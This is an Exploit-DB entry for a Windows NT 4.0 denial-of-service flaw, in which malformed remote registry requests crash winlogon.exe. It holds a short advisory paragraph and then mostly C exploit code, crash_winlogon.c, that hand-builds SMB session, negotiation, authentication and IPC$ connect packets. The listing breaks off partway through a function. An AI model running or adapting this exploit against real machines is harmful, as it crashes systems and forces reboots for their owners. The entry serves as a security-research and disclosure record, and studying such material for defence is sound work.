Exploit-DB #20005
Description: Microsoft Windows NT 4.0 - Remote Registry Request Denial of Service (1)
Type: dos
Platform: windows
Date: 2000-06-08
Author: Renaud Deraison

Exploit:
// source: https://www.securityfocus.com/bid/1331/info

In special circumstances while handling requests to access the Remote Registry Server, Windows NT 4.0 can crash due to winlogon.exe's inability to process specially malformed remote registry requests. Rebooting the machine would be required in order to regain normal functionality.

Only authenticated users on the network would be able to exploit this vulnerability. If Windows NT was configured to deny all remote registry requests, it would not be affected by this vulnerability under any conditions. 

/*
 * crash_winlogon.c
 *
 * by Renaud Deraison - deraison@cvs.nessus.org
 *
 * This code is released under the GNU General Public License.
 * (thanks for respecting this license) 
 *
 * In case you are wondering, here is the motto I applied for this code :
 *
 * 		"Structures are for sissies"
 */
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif


char * netbios_name(char * orig)
{
 int i, len;
 char * ret = malloc(40);

 bzero(ret, 40);
 len = strlen(orig);
 for(i=0;i<16;i++)
 {
  if(i >= len)
   strcat(ret, "CA");
  else
   {
    int odiv, omod;
    
    odiv = (orig[i] / 16) + 'A';
    omod = (orig[i] % 16) + 'A';
    ret[strlen(ret)]=odiv;
    ret[strlen(ret)]=omod;
   }
 }
 return(ret);
}

char * netbios_redirector()
{
 int i;
 char * ret = malloc(31);
 bzero(ret, 31);
 for(i=0;i<15;i++)strcat(ret, "CA"); 
 strcat(ret, "AA");
 return(ret);
}


char* unicode(char * data)
{
 int len = strlen(data);
 int i;
 char * ret = malloc(110);
 int l = 0;
 
 bzero(ret,110);
 for(i=0;i<len;i++)
 {
  ret[i*2] = data[i];
 }
 
 if(len & 1){
 	ret[len*2+7] = 0x19;
	ret[len*2+9] = 0x02;
	}
 else
   	{
	 ret[len*2+8] = 0x19;
	 ret[len*2+10] = 0x02;
	}	 
		
 return(ret);
}	


char * 
smb_session_request(soc, remote)
 int soc;
 char* remote;
{
 char * nb_remote = netbios_name(remote);
 char * nb_local  = netbios_redirector();
 char * request = malloc(400);
 u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
 u_char req_body[] = {0x00, 0x20};
 u_char * answer = malloc(400);
 int n;

 bzero(request, 400);
 memcpy(request, req_head, 5);
 memcpy(request+5, nb_remote, strlen(nb_remote));
 memcpy(request+5+strlen(nb_remote), req_body, 2);
 memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
 
 send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
 bzero(answer, 400);
 n = recv(soc, answer, 400, 0);
 if(answer[0]==0x82)return(answer);
 else return(NULL);
}

char *
smb_neg_prot(soc)
 int soc;
{
 char * r;
 u_char neg_prot[] = {0x00,0x00,
	 0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
	 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
	 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
	 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
	 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
	 0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
	 0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
	 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
	 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
	 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
	 0x62, 0x61, 0x00
	 };
	 
 send(soc, neg_prot, sizeof(neg_prot), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}

char * smb_session_setup(soc, login, password)
 int soc;
 char * login, * password;
{
 int len = strlen(login) + strlen(password) + 57;
 int bcc = 2 + strlen(login) + strlen(password);
 int len_hi = len / 256, len_low = len % 256;
 int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
 int pass_len = strlen(password) + 1;
 int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
 
 u_char req[] = {0x00,0x00,
    	  len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
	  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	  0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
	  0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
	  bcc_hi};
	  
  char * r;
  char * s;
  
  s = malloc(5000);
  bzero(s, 5000);
  
  memcpy(s, req, sizeof(req));
  memcpy(s+sizeof(req), password, strlen(password)+1);
  memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
  
 
  send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
  free(s);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}

char * smb_tconx(soc, name, uid)
 int soc;
 char * name;
 int uid;
{
 int high = uid / 256;
 int low = uid % 256;
 int len = 55 + strlen(name) + 1;
 int ulen = 13 + strlen(name);
 u_char req [] = {0x00, 0x00,
 		  0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
		  0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
		  
 u_char req2[] = {0x5C, 0x49,
		   0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};


 char * s = malloc(4000);
 
 bzero(s, 4000);
 memcpy(s, req, sizeof(req));
 memcpy(s+sizeof(req), name, strlen(name));
 memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
 send(soc, s,